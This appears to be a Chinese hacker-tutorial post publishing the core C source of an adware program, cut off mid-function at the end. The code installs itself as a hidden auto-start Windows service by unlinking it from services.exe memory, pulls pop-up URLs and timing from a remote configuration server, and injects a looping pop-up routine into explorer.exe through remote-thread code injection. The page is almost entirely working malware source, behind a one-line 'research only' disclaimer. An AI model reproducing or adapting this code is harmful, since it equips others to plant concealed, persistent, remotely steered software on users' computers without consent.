弹窗口的流氓软件核心代码                
                
                    所属分类:
                        网络安全 / 黑客教程                    
                    阅读数:
                        123
                    
                        收藏 0赞 0分享
                    
                 
                
                    ps:请勿用于非法用途,仅供技术研究之用。 
by:yunshu 
这个东西的主要功能就是去网上一个URL读取配置文件,拿到需要弹出的窗口以及周期时间,然后开始弹……程序安装成服务,并设置为自动启动。启动之后写入一段代码到explorer.exe进程中,也就是这里在弹网页,然后将服务停止。 
我写的代码没什么技术含量,唯一的是使用了我们team的zzzevazzz的隐藏服务代码,最开始他是发在ph4nt0m的核心区的。不过他已经在自己的blog写过,所以我发出来也没问题了。 
这个是主函数,安装,读取配置,注入代码用的。 
代码: 
/************************************************************************************************** 
* 1. 给XX作的流氓软件 
* 2. 隐藏服务是copy的EVA的代码,修改Services.exe进程内存。 
**************************************************************************************************/ 
#include <stdio.h> 
#include <stdlib.h> 
#include <Winsock2.h> 
#include <windows.h> 
#include <Tlhelp32.h> 
// 是否记录日志 
//#define DEBUG 
#ifdef DEBUG 
#define DEBUG_LOG "c:\debug.txt" 
// 日志记录函数 
void LogToFile( WCHAR * ); 
#endif 
#include "ControlService.h" 
#include "HideService.h" 
#include "CustomFunction.h" 
#pragma comment (lib, "Advapi32.lib") 
#pragma comment (lib, "Shell32.lib") 
#pragma comment (lib, "ws2_32.lib") 
#pragma comment (lib, "User32.lib") 
#define REMOTE_FUNC_LENGTH 1024 * 10 // 拷贝的长度 
#define TARGET_PROCESS L"explorer.exe" // 要注入代码的目标进程 
#define CONFIG_HOST "www.icylife.net" // 读取配置信息的服务器 
#define CONFIG_PATH "/url.txt" // 配置信息在配置服务器的路径 
#define IE_PATH "C:\Program Files\Internet Explorer\iexplore.exe" 
#define DEFAULT_URL "http://www.he100.com" // 默认弹出的窗口 
#define DEFAULT_SLEEP_TIME 30 * 60 * 1000 // 默认弹出窗口的间隔时间 
// 宏,转换字符串为unicode 
#define MULTI_TO_WIDE( x, y ) MultiByteToWideChar( CP_ACP, MB_PRECOMPOSED,y,-1,x,_MAX_PATH ); 
// 弹出窗口之间的间隔时间 
int sleep_time; 
// 弹出的url地址 
char url_path[512] = { 0 }; 
/************************************************************************************************** 
* 函数原形 
**************************************************************************************************/ 
void ServiceMain( DWORD, char **); //服务入口 
BOOL SetDebugPrivilege( ); //获取debug权限 
DWORD GetProcessIdByName(WCHAR * ); //获取进程的PID 
void InjectCode( ); //写代码到远程进程 
void GetConfig( ); //更新配置,获取要弹出的地址和弹出间隔时间 
/************************************************************************************************** 
* 程序入口,主函数 
**************************************************************************************************/ 
int WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) 
{ 
WCHAR filePath[MAX_PATH] = { 0 }; //程序本身路径 
SERVICE_TABLE_ENTRY serviceTable[2]; 
serviceTable[0].lpServiceName = SERVICE_NAME; 
serviceTable[0].lpServiceProc = ( LPSERVICE_MAIN_FUNCTION )ServiceMain; 
serviceTable[1].lpServiceName = NULL; 
serviceTable[1].lpServiceProc = NULL; 
GetModuleFileName( NULL, filePath, MAX_PATH ); 
// 如果服务未安装,安装 
if( !ServiceExists( filePath ) ) 
{ 
if( ServiceInstall( filePath ) != TRUE ) 
{ 
return -1; 
} 
else 
{ 
return 0; 
} 
} 
if( !StartServiceCtrlDispatcher( serviceTable ) ) 
{ 
#ifdef DEBUG 
WCHAR tmp[256] = { 0 }; 
wsprintf( tmp, L"Main StartServiceCtrlDispatcher error: %d\n", GetLastError() ); 
LogToFile( tmp ); 
#endif 
return -1; 
} 
return 0; 
} 
/************************************************************************************************** 
* 服务入口 
**************************************************************************************************/ 
void ServiceMain( DWORD argc, char *argv[] ) 
{ 
serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; 
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; 
serviceStatus.dwWin32ExitCode = 0; 
serviceStatus.dwServiceSpecificExitCode = 0; 
serviceStatus.dwCheckPoint = 0; 
serviceStatus.dwWaitHint = 0; 
#ifdef DEBUG 
LogToFile( L"ServiceMain: Try to register service\n" ); 
#endif 
hServiceStatus = RegisterServiceCtrlHandler( SERVICE_NAME, (LPHANDLER_FUNCTION)ServiceControl ); 
if( hServiceStatus == (SERVICE_STATUS_HANDLE)0 ) 
{ 
#ifdef DEBUG 
WCHAR tmp[256] = { 0 }; 
wsprintf( tmp, L"ServiceMain: Register service error: %d\n", GetLastError() ); 
LogToFile( tmp ); 
#endif 
return; 
} 
serviceStatus.dwCurrentState = SERVICE_RUNNING; 
serviceStatus.dwCheckPoint = 0; 
serviceStatus.dwWaitHint = 0; 
if( !SetServiceStatus( hServiceStatus, &serviceStatus ) ) 
{ 
#ifdef DEBUG 
WCHAR tmp[256] = { 0 }; 
swprintf( tmp, L"ServiceMain: Start service error: %d\n", GetLastError() ); 
LogToFile( tmp ); 
#endif 
return; 
} 
#ifdef DEBUG 
LogToFile( L"ServiceMain: Start service ok\n" ); 
#endif 
// 隐藏服务 
HideService( SERVICE_NAME ); 
// 从网络读取配置 
GetConfig( ); 
// 注入代码 
InjectCode( ); 
serviceStatus.dwCurrentState = SERVICE_STOPPED; 
if( !SetServiceStatus( hServiceStatus, &serviceStatus) ) 
{ 
#ifdef DEBUG 
WCHAR tmp[256] = { 0 }; 
wsprintf( tmp, L"ServiceMain: Stop service error: %d\n", GetLastError() ); 
LogToFile( tmp ); 
#endif 
} 
#ifdef DEBUG 
LogToFile( L"Stop service in main.\n" ); 
#endif 
#ifdef DEBUG 
LogToFile( L"ServiceMain Done.\n" ); 
#endif 
return; 
} 
void InjectCode( ) 
{ 
if( ! SetDebugPrivilege() ) 
{ 
#ifdef DEBUG 
LogToFile( L"Set Debug Privileges error.\n" ); 
#endif 
return; 
} 
DWORD dwPID = -1; 
while( 1 ) 
{ 
dwPID = GetProcessIdByName( TARGET_PROCESS ); 
if( -1 != dwPID ) 
{ 
#ifdef DEBUG 
WCHAR tmp[256] = { 0 }; 
wsprintf( tmp, L"Target process id is %d\n", dwPID ); 
LogToFile( tmp ); 
#endif 
break; 
} 
#ifdef DEBUG 
LogToFile( L"Target process not found, sleep and continue.\n" ); 
#endif 
Sleep( 30 * 1000 ); 
} 
Sleep( 2 * 60 * 1000 ); 
// 打开进程 
HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID ); 
if( ! hProcess ) 
{ 
#ifdef DEBUG 
LogToFile( L"OpenProcess error.\n" ); 
#endif 
return; 
} 
//计算LoadLibraryA和GetProcAddress的入口地址,这两个函数由kernel32.dll导出,在各进程中不变 
Arguments arguments; 
memset( (void *)&arguments, 0, sizeof(Arguments) ); 
HMODULE hKernel = GetModuleHandleA( "kernel32" ); 
if( hKernel == NULL ) 
{ 
#ifdef DEBUG 
LogToFile( L"GetModuleHandle kernel32.dll error.\n" ); 
#endif 
return; 
} 
arguments.MyLoadLibrary = GetProcAddress( hKernel, "LoadLibraryA" ); 
arguments.MyGetAddress = GetProcAddress( hKernel, "GetProcAddress" ); 
strcpy( arguments.MyKernelDll, "kernel32.dll" ); 
strcpy( arguments.MyProgram, IE_PATH ); 
strcpy( arguments.MyShellDll, "Shell32.dll" ); 
strcpy( arguments.MyShellExecute, "ShellExecuteA" ); 
strcpy( arguments.MyUrl, url_path ); 
strcpy( arguments.MyZeroMemory, "RtlZeroMemory" ); 
arguments.SleepTime = sleep_time; 
// 在远程进程中分配内存存放参数,可写权限 
Arguments *remote_agrument = (Arguments *)VirtualAllocEx( hProcess, 
0, 
sizeof(Arguments), 
MEM_COMMIT, 
PAGE_READWRITE ); 
if( !remote_agrument ) 
{ 
#ifdef DEBUG 
LogToFile( L"VirtualAllocEx for arguments error.\n" ); 
#endif 
return; 
} 
#ifdef DEBUG 
WCHAR tmp[256] = { 0 }; 
wsprintf( tmp, L"Remote Arguments' addr: 0x%08x\n", (DWORD)remote_agrument ); 
LogToFile( tmp ); 
#endif 
// 将参数写入远程进程内存 
int bytes_write; 
if( !WriteProcessMemory( hProcess, (LPVOID)remote_agrument, (LPVOID)&arguments, sizeof(Arguments), (SIZE_T *)&bytes_write) ) 
{ 
#ifdef DEBUG 
LogToFile( L"WriteProcessMemory for arguments error.\n" ); 
#endif 
return; 
} 
// 在远程进程中分配内存存放代码,可执行权限 
LPVOID remote_func = VirtualAllocEx( hProcess, 
0, 
REMOTE_FUNC_LENGTH, 
MEM_COMMIT, 
PAGE_EXECUTE_READWRITE ); 
if( !remote_func ) 
{ 
#ifdef DEBUG 
LogToFile( L"VirtualAllocEx for function error.\n" ); 
#endif 
return; 
} 
#ifdef DEBUG 
memset( tmp, 0, sizeof(tmp) ); 
wsprintf( tmp, L"Remote Function Address: 0x%08x\n", remote_func ); 
LogToFile( tmp ); 
#endif 
// 将代码写入远程进程内存 
if( !WriteProcessMemory( hProcess, (LPVOID)remote_func, (LPVOID)&CustomFunction, REMOTE_FUNC_LENGTH, (SIZE_T *)&bytes_write) ) 
{ 
#ifdef DEBUG 
LogToFile( L"WriteProcessMemory for function error.\n" ); 
#endif 
return; 
} 
#ifdef DEBUG 
memset( tmp, 0, sizeof(tmp) ); 
wsprintf( tmp, L"WriteProcessMemory for function %d bytes\n", bytes_write ); 
LogToFile( tmp ); 
#endif 
HANDLE remote_thread = CreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)remote_func, remote_agrument, 0, 0 ); 
if ( !remote_thread ) 
{ 
#ifdef DEBUG 
LogToFile( L"CreateRemoteThread for function error.\n" ); 
#endif 
return; 
} 
#ifdef DEBUG 
LogToFile( L"CreateRemoteThread for function ok\n" ); 
#endif 
/* 
WaitForSingleObject( remote_thread, INFINITE ); 
if( NULL != remote_func ) 
{ 
VirtualFreeEx( hProcess, remote_func, REMOTE_FUNC_LENGTH, MEM_RELEASE ); 
#ifdef DEBUG 
LogToFile( L"VirtualFreeEx for remote_func.\n" ); 
#endif 
} 
if( NULL != remote_agrument ) 
{ 
VirtualFreeEx( hProcess, remote_agrument, sizeof (Arguments), MEM_RELEASE); 
#ifdef DEBUG 
LogToFile( L"VirtualFreeEx for remote_agrument.\n" ); 
#endif 
} 
if( NULL != remote_thread ) 
{ 
CloseHandle( remote_thread ); 
#ifdef DEBUG 
LogToFile( L"CloseHandle for remote_thread.\n" ); 
#endif 
} 
if( NULL != hProcess ) 
{ 
CloseHandle( hProcess ); 
#ifdef DEBUG 
LogToFile( L"CloseHandle for hProcess.\n" ); 
#endif 
} 
*/ 
return; 
} 
void GetConfig( ) 
{ 
#ifdef DEBUG 
WCHAR tmp[256] = { 0 }; 
#endif 
WSAData wsa; 
struct sockaddr_in sin; 
memset( &sin, 0, sizeof(struct sockaddr_in) ); 
if( WSAStartup( 0x0202, &wsa ) != 0 ) 
{ 
#ifdef DEBUG 
memset( tmp, 0, sizeof(tmp) ); 
wsprintf( tmp, L"WSAStartup error: %d\n", GetLastError() ); 
LogToFile( tmp ); 
#endif 
goto getconfig_error; 
} 
struct hostent *phost = gethostbyname( CONFIG_HOST ); 
if( phost == NULL ) 
{ 
#ifdef DEBUG 
memset( tmp, 0, sizeof(tmp) ); 
wsprintf( tmp, L"Resolv config host name error: %d\n", GetLastError() ); 
LogToFile( tmp ); 
#endif 
WSACleanup( ); 
goto getconfig_error; 
} 
memcpy( &sin.sin_addr , phost->h_addr_list[0] , phost->h_length ); 
sin.sin_family = AF_INET; 
sin.sin_port = htons( 80 ); 
#ifdef DEBUG 
memset( tmp, 0, sizeof(tmp) ); 
WCHAR ip[256] = { 0 }; 
MULTI_TO_WIDE( ip, inet_ntoa( sin.sin_addr )); 
wsprintf( tmp, L"Resolv config host name ok: %s\n",ip ); 
LogToFile( tmp ); 
#endif 
SOCKET sock = socket( AF_INET , SOCK_STREAM , 0 ); 
if( sock == INVALID_SOCKET ) 
{ 
#ifdef DEBUG 
memset( tmp, 0, sizeof(tmp) ); 
wsprintf( tmp, L"Connect to %s:%s error: \n", ip, 80, GetLastError() ); 
LogToFile( tmp ); 
#endif 
WSACleanup( ); 
goto getconfig_error; 
} 
int ret = connect( sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in) ); 
if( SOCKET_ERROR == ret ) 
{ 
#ifdef DEBUG 
memset( tmp, 0, sizeof(tmp) ); 
wsprintf( tmp, L"Connect error: %d\n", GetLastError() ); 
LogToFile( tmp ); 
#endif 
closesocket( sock ); 
WSACleanup( ); 
goto getconfig_error; 
} 
char send_buff[512] = { 0 }; 
sprintf( send_buff, "GET %s HTTP/1.1\r\nHost: %s\r\nAccept: */*\r\n\r\n", CONFIG_PATH, CONFIG_HOST ); 
#ifdef DEBUG 
memset( tmp, 0, sizeof(tmp) ); 
WCHAR tmp2[256] = { 0 }; 
MULTI_TO_WIDE( tmp2, send_buff ); 
wsprintf( tmp, L"Send request to get config:\n %s\n", tmp2 ); 
LogToFile( tmp ); 
#endif 
ret = send( sock, send_buff, strlen(send_buff), 0 ); 
if( SOCKET_ERROR == ret ) 
{ 
#ifdef DEBUG 
memset( tmp, 0, sizeof(tmp) ); 
wsprintf( tmp, L"Send request error: %d\n", GetLastError() ); 
LogToFile( tmp ); 
#endif 
closesocket( sock ); 
WSACleanup( ); 
goto getconfig_error; 
} 
#ifdef DEBUG 
LogToFile( L"Send request ok!\n" ); 
#endif 
char recv_buff[1024] = { 0 }; 
recv( sock, recv_buff, 1000, 0 ); 
if( !recv_buff ) 
{ 
closesocket( sock ); 
WSACleanup( ); 
goto getconfig_error; 
} 
closesocket( sock ); 
WSACleanup( ); 
char *content = strstr( recv_buff, "\r\n\r\n" ); 
if( !content ) 
{ 
goto getconfig_error; 
} 
content += strlen("\r\n\r\n"); 
#ifdef DEBUG 
memset( tmp, 0, sizeof(tmp) ); 
WCHAR c[256] = { 0 }; 
MULTI_TO_WIDE( c, content ); 
wsprintf( tmp, L"Config content is:\n%s\n", c ); 
LogToFile( tmp ); 
#endif 
char *split_flag = strstr( content, "|" ); 
if( !split_flag ) 
{ 
goto getconfig_error; 
} 
char tmp_time[32] = { 0 }; 
char tmp_url[512] = { 0 }; 
if( split_flag - content > 32 ) 
{ 
sleep_time = DEFAULT_SLEEP_TIME; 
} 
else 
{ 
strncpy( tmp_time, content, split_flag - content ); 
sleep_time = atoi( tmp_time ); 
} 
if( strlen( split_flag ) >= 512 ) 
{ 
strcpy( url_path, DEFAULT_URL ); 
} 
else 
{ 
strcpy( url_path, split_flag + 1 ); 
} 
return; 
getconfig_error: 
sleep_time = DEFAULT_SLEEP_TIME; 
strcpy( url_path, DEFAULT_URL ); 
return; 
} 
/************************************************************************************************** 
* 记录日志函数 
**************************************************************************************************/ 
#ifdef DEBUG 
void LogToFile( WCHAR *str ) 
{ 
FILE *fp; 
fp = fopen( DEBUG_LOG, "a" ); 
fwprintf( fp, L"%s\n", str ); 
fclose( fp ); 
} 
#endif 
这个是隐藏服务用的,修改了services.exe文件,可能有一定的危险性。 
代码: 
// yunshu(pst) Copy from zzzevazzz(pst)'s code 
// 几个Undocument的结构 
typedef struct _SC_SERVICE_PROCESS SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS; 
typedef struct _SC_DEPEND_SERVICE SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE; 
typedef struct _SC_SERVICE_RECORD SC_SERVICE_RECORD, *PSC_SERVICE_RECORD; 
typedef struct _SC_SERVICE_PROCESS 
{ 
PSC_SERVICE_PROCESS Previous; 
PSC_SERVICE_PROCESS Next; 
WCHAR *ImagePath; 
DWORD Pid; 
DWORD NumberOfServices; 
// ... 
} SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS; 
typedef struct _SC_DEPEND_SERVICE 
{ 
PSC_DEPEND_SERVICE Next; 
DWORD Unknow; 
PSC_SERVICE_RECORD Service; 
// ... 
} SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE; 
typedef struct _SC_SERVICE_RECORD 
{ 
PSC_SERVICE_RECORD Previous; 
PSC_SERVICE_RECORD Next; 
WCHAR *ServiceName; 
WCHAR *DisplayName; 
DWORD Index; 
DWORD Unknow0; 
DWORD sErv; 
DWORD ControlCount; 
DWORD Unknow1; 
PSC_SERVICE_PROCESS Process; 
SERVICE_STATUS Status; 
DWORD StartType; 
DWORD ErrorControl; 
DWORD TagId; 
PSC_DEPEND_SERVICE DependOn; 
PSC_DEPEND_SERVICE Depended; 
// ... 
} SC_SERVICE_RECORD, *PSC_SERVICE_RECORD; 
BOOL SetDebugPrivilege() 
{ 
BOOL bRet = FALSE; 
HANDLE hToken = NULL; 
LUID luid; 
TOKEN_PRIVILEGES tp; 
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) && 
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) 
{ 
tp.PrivilegeCount = 1; 
tp.Privileges[0].Luid = luid; 
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); 
} 
if (hToken) CloseHandle(hToken); 
return bRet; 
} 
DWORD GetProcessIdByName(WCHAR *Name) 
{ 
BOOL bRet = FALSE; 
HANDLE hProcessSnap = NULL; 
PROCESSENTRY32 pe32 = { 0 }; 
DWORD Pid = -1; 
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
if (INVALID_HANDLE_VALUE == hProcessSnap) return -1; 
pe32.dwSize = sizeof(PROCESSENTRY32); 
if (Process32First(hProcessSnap, &pe32)) 
{ 
do 
{ 
if ( !_wcsicmp(pe32.szExeFile, Name ) ) 
{ 
Pid = pe32.th32ProcessID; 
break; 
} 
} 
while (Process32Next(hProcessSnap, &pe32)); 
} 
CloseHandle(hProcessSnap); 
return Pid; 
} 
// 修改内存属性为指定值 
void ProtectWriteDword(HANDLE hProcess, DWORD *Addr, DWORD Value) 
{ 
MEMORY_BASIC_INFORMATION mbi; 
DWORD dwOldProtect, dwWritten; 
VirtualQueryEx(hProcess, Addr, &mbi, sizeof(mbi)); 
VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_READWRITE, &mbi.Protect); 
WriteProcessMemory(hProcess, Addr, &Value, sizeof(DWORD), &dwWritten); 
VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect); 
} 
//寻找服务链表 
PSC_SERVICE_RECORD FindFirstServiceRecord(HANDLE hProcess) 
{ 
WCHAR FileName[MAX_PATH+1]; 
HANDLE hFile, hFileMap; 
UCHAR * pMap; 
DWORD dwSize, dwSizeHigh, i, dwRead; 
SC_SERVICE_RECORD SvcRd, *pSvcRd, *pRet = NULL; 
GetSystemDirectory( FileName, MAX_PATH ); 
wcscat( FileName, L"\Services.exe"); 
hFile = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ, 
NULL, OPEN_EXISTING, 0, NULL); 
if (INVALID_HANDLE_VALUE == hFile) return NULL; 
dwSizeHigh = 0; 
dwSize = GetFileSize(hFile, &dwSizeHigh); 
hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL); 
if (NULL == hFileMap) return NULL; 
pMap = (UCHAR*)MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 0); 
if (NULL == pMap) return NULL; 
dwSize -= 12; 
for (i=0; i<dwSize; ++i) 
{ 
// 搜索services!ScGetServiceDatabase特征代码 
if (*(DWORD*)(pMap+i) == 0xa1909090 && 
*(DWORD*)(pMap+i+8) == 0x909090c3) 
{ 
#ifdef DEBUG 
WCHAR tmpBuffer[256] = { 0 }; 
wsprintf( tmpBuffer, L"map is 0x%08x\n", (DWORD *)(pMap+i) ); 
LogToFile( tmpBuffer ); 
#endif 
if (ReadProcessMemory(hProcess, *(PVOID*)(pMap+i+4), &pSvcRd, sizeof(PVOID), &dwRead) && 
ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) && 
SvcRd.sErv == 'vrEs') // ServiceRecord结构的特征 
{ 
pRet = pSvcRd; 
#ifdef DEBUG 
WCHAR tmpBuffer[256] = { 0 }; 
wsprintf( tmpBuffer, L"pRet is 0x%08x\n", (DWORD *)(pSvcRd) ); 
LogToFile( tmpBuffer ); 
#endif 
break; 
} 
} 
} 
UnmapViewOfFile(pMap); 
CloseHandle(hFileMap); 
CloseHandle(hFile); 
//printf( "addr: 0x%08x\n", (DWORD *)pRet ); 
return pRet; 
} 
// 隐藏服务 
BOOL HideService( WCHAR *Name ) 
{ 
DWORD Pid; 
HANDLE hProcess; 
SC_SERVICE_RECORD SvcRd, *pSvcRd; 
DWORD dwRead, dwNameSize; 
WCHAR SvcName[MAX_PATH] = { 0 }; 
dwNameSize = ( wcslen(Name) + 1 ) * sizeof(WCHAR); 
if (dwNameSize > sizeof(SvcName)) return FALSE; 
Pid = GetProcessIdByName( TEXT("Services.exe") ); 
#ifdef DEBUG 
WCHAR tmpBuffer1[256] = { 0 }; 
wsprintf( tmpBuffer1, L"Pid is %d\n", Pid ); 
LogToFile( tmpBuffer1 ); 
#endif 
if (Pid == -1) return FALSE; 
if( ! SetDebugPrivilege() ) return FALSE; 
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid); 
if (NULL == hProcess) return FALSE; 
pSvcRd = FindFirstServiceRecord(hProcess); 
if (NULL == pSvcRd) 
{ 
#ifdef DEBUG 
LogToFile( L"Can't Find ServiceDatabase.\n" ); 
#endif 
CloseHandle(hProcess); 
return FALSE; 
} 
do 
{ 
if (ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) && 
ReadProcessMemory(hProcess, SvcRd.ServiceName, SvcName, dwNameSize, &dwRead)) 
{ 
// 匹配服务名 
if ( 0 == _wcsicmp(SvcName, Name) ) 
{ 
// 从链表中断开(一般来说ServiceRecord是可写的,但还是先改保护属性以防万一) 
ProtectWriteDword(hProcess, (DWORD *)SvcRd.Previous+1, (DWORD)SvcRd.Next); 
ProtectWriteDword(hProcess, (DWORD *)SvcRd.Next, (DWORD)SvcRd.Previous); 
#ifdef DEBUG 
WCHAR tmpBuffer2[256] = { 0 }; 
wsprintf( tmpBuffer2, L"The Service \"%s\" Is Hidden Successfully.\n", Name ); 
LogToFile( tmpBuffer1 ); 
#endif 
CloseHandle(hProcess); 
return TRUE; 
} 
} 
else 
{ 
break; 
} 
} 
while (pSvcRd = SvcRd.Next); 
if( NULL != hProcess ) 
{ 
CloseHandle(hProcess); 
} 
return FALSE; 
} 
这个是注入到explorer.exe进程中的代码,大部分参数是写内存写进去的,有少部分实在懒得搞了,用了一点汇编。 
typedef struct _Arguments 
{ 
char MyUrl[512]; 
char MyProgram[512]; 
FARPROC MyLoadLibrary; 
FARPROC MyGetAddress; 
char MyKernelDll[32]; 
char MyShellDll[32]; 
char MyZeroMemory[32]; 
char MyShellExecute[32]; 
DWORD SleepTime; 
}Arguments; 
/************************************************************************************************** 
* WINAPI函数原形 
**************************************************************************************************/ 
typedef HMODULE (__stdcall *LOADLIBRARYA)( IN char* lpFileName ); 
typedef FARPROC (__stdcall *GETPROCADDRESS)( IN HMODULE hModule, IN char* lpProcName ); 
typedef void (__stdcall *ZEROMEMORY)( IN PVOID Destination, IN SIZE_T Length ); 
void __stdcall CustomFunction( LPVOID my_arguments ) 
{ 
Arguments *func_args = (Arguments *)my_arguments; 
LOADLIBRARYA LoadLibraryA = (LOADLIBRARYA)func_args->MyLoadLibrary; 
GETPROCADDRESS GetProcAddress = (GETPROCADDRESS)func_args->MyGetAddress; 
HMODULE h_kernel = LoadLibraryA( func_args->MyKernelDll ); 
HMODULE h_shell = LoadLibraryA( func_args->MyShellDll ); 
ZEROMEMORY ZeroMemory = (ZEROMEMORY)GetProcAddress( h_kernel, func_args->MyZeroMemory ); 
DWORD MyShellExecuteA = (DWORD)GetProcAddress( h_shell, func_args->MyShellExecute ); 
DWORD MySleep; 
DWORD sleep_time = func_args->SleepTime; 
__asm 
{ 
push eax 
push esp 
sub esp, 6 
mov byte ptr [esp], 'S' 
mov byte ptr [esp+1], 'l' 
mov byte ptr [esp+2], 'e' 
mov byte ptr [esp+3], 'e' 
mov byte ptr [esp+4], 'p' 
mov byte ptr [esp+5], '' 
lea eax, [esp] 
push eax 
push h_kernel 
call GetProcAddress 
mov MySleep, eax 
add esp, 6 
pop esp 
pop eax 
} 
while( 1 ) 
{ 
__asm 
{ 
push eax 
push esp 
push ecx 
push ebx 
sub esp, 256 
mov byte ptr [esp], 'o' 
mov byte ptr [esp+1], 'p' 
mov byte ptr [esp+2], 'e' 
mov byte ptr [esp+3], 'n' 
mov byte ptr [esp+4], '' 
lea ebx, [esp] 
push SW_SHOWMAXIMIZED 
push 0 
push func_args 
mov ecx, func_args 
add ecx, 200h 
lea eax, [ecx] 
push eax 
push ebx 
push 0 
call MyShellExecuteA 
add esp, 256 
pop ebx 
pop ecx 
pop esp 
pop eax 
push sleep_time 
call MySleep 
} 
} 
} 
这个是控制服务的,正常的服务程序都有的代码,流氓软件应该不接受停止服务请求。 
代码: 
/************************************************************************************************** 
* 全局变量 
**************************************************************************************************/ 
#define SERVICE_NAME L"LemonTree" 
#define SERVICE_DESCRIPTION L"LemonTree" 
#define SERVICE_DISPLAY_NAME L"LemonTree" 
SERVICE_STATUS serviceStatus; 
SERVICE_STATUS_HANDLE hServiceStatus; 
BOOL ServiceInstall( WCHAR * ); //安装服务 
BOOL ServiceUnstall( WCHAR * ); //删除服务 
void ServiceControl( DWORD ); //控制服务 
BOOL ServiceExists( WCHAR * ); //判断服务是否存在 
/*********************************************************************************** 
* 安装服务 
* 参数:主程序全路径 
* 返回:成功返回TRUE,否则为FALSE 
***********************************************************************************/ 
BOOL ServiceInstall( WCHAR *exeFilePath ) 
{ 
WCHAR tmpPath[MAX_PATH] = { 0 }; 
HKEY key; 
SC_HANDLE serviceMangerHandle = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE ); 
if ( serviceMangerHandle == 0 ) 
{ 
printf( "Install: Open services manager database error: %d\n", GetLastError() ); 
return FALSE; 
} 
SC_HANDLE serviceHandle = CreateService 
( 
serviceMangerHandle , 
SERVICE_NAME , 
SERVICE_DISPLAY_NAME , 
SERVICE_ALL_ACCESS , 
SERVICE_WIN32_OWN_PROCESS , 
SERVICE_AUTO_START , 
SERVICE_ERROR_NORMAL , 
exeFilePath , 
NULL , 
NULL , 
NULL , 
NULL , 
NULL 
); 
if ( serviceHandle == 0 ) 
{ 
printf( "Create service error: %d\n", GetLastError() ); 
CloseServiceHandle( serviceMangerHandle ); 
return FALSE; 
} 
wcscpy( tmpPath, L"SYSTEM\CurrentControlSet\Services\" ); 
wcscat( tmpPath, SERVICE_NAME ); 
if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS ) 
{ 
printf( "Open key %s error: %d\n", tmpPath, GetLastError() ); 
return FALSE; 
} 
RegSetValueEx( key, L"Description", 0, REG_SZ, (BYTE *)SERVICE_DESCRIPTION, wcslen(SERVICE_DESCRIPTION) ); 
RegCloseKey(key); 
if( !StartService( serviceHandle, 0, 0 ) ) 
{ 
printf( "Install service ok, but start it error: %d\n", GetLastError() ); 
} 
else 
{ 
printf( "Install service ok, start it ok.\n" ); 
} 
CloseServiceHandle( serviceHandle ); 
CloseServiceHandle( serviceMangerHandle ); 
return TRUE; 
} 
/************************************************************************************************** 
* 删除服务 
**************************************************************************************************/ 
BOOL ServiceUnstall( WCHAR *serviceName ) 
{ 
SC_HANDLE scmHandle = OpenSCManager (NULL, NULL, SC_MANAGER_ALL_ACCESS); 
if ( scmHandle == NULL ) 
{ 
return FALSE; 
} 
SC_HANDLE scHandle = OpenService( scmHandle, serviceName, SERVICE_ALL_ACCESS ); 
if( scHandle == NULL ) 
{ 
CloseServiceHandle( scmHandle ); 
return FALSE; 
} 
DeleteService( scHandle ); 
CloseServiceHandle( scHandle ); 
CloseServiceHandle( scmHandle ); 
return TRUE; 
} 
/************************************************************************************************** 
* 服务控制函数 
**************************************************************************************************/ 
void ServiceControl( DWORD request ) 
{ 
#ifdef DEBUG 
LogToFile( L"ServiceControl: Into ServiceControl\n" ); 
#endif 
switch ( request ) 
{ 
case SERVICE_CONTROL_PAUSE: 
serviceStatus.dwCurrentState = SERVICE_PAUSED; 
break; 
case SERVICE_CONTROL_CONTINUE: 
serviceStatus.dwCurrentState = SERVICE_RUNNING; 
break; 
case SERVICE_CONTROL_STOP: 
#ifdef DEBUG 
LogToFile( L"ServiceControl: Try to stop service\n" ); 
#endif 
serviceStatus.dwWin32ExitCode = 0; 
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; 
serviceStatus.dwCheckPoint = 0; 
serviceStatus.dwWaitHint = 0; 
break; 
case SERVICE_CONTROL_INTERROGATE: 
break; 
default: 
#ifdef DEBUG 
LogToFile( L"ServiceControl: Error arguments\n" ); 
#endif 
break; 
} 
if( !SetServiceStatus( hServiceStatus, &serviceStatus ) ) 
{ 
#ifdef DEBUG 
WCHAR tmp[256] = { 0 }; 
wsprintf( tmp, L"ServiceMain: Control service error: %d\n", GetLastError() ); 
LogToFile( tmp ); 
#endif 
} 
return; 
} 
BOOL ServiceExists( WCHAR *path ) 
{ 
WCHAR tmpPath[MAX_PATH] = { 0 }; 
HKEY key; 
WCHAR value[512] = { 0 }; 
int type = REG_EXPAND_SZ; 
int size = sizeof(value); 
wcscpy( tmpPath, L"SYSTEM\CurrentControlSet\Services\" ); 
wcscat( tmpPath, SERVICE_NAME ); 
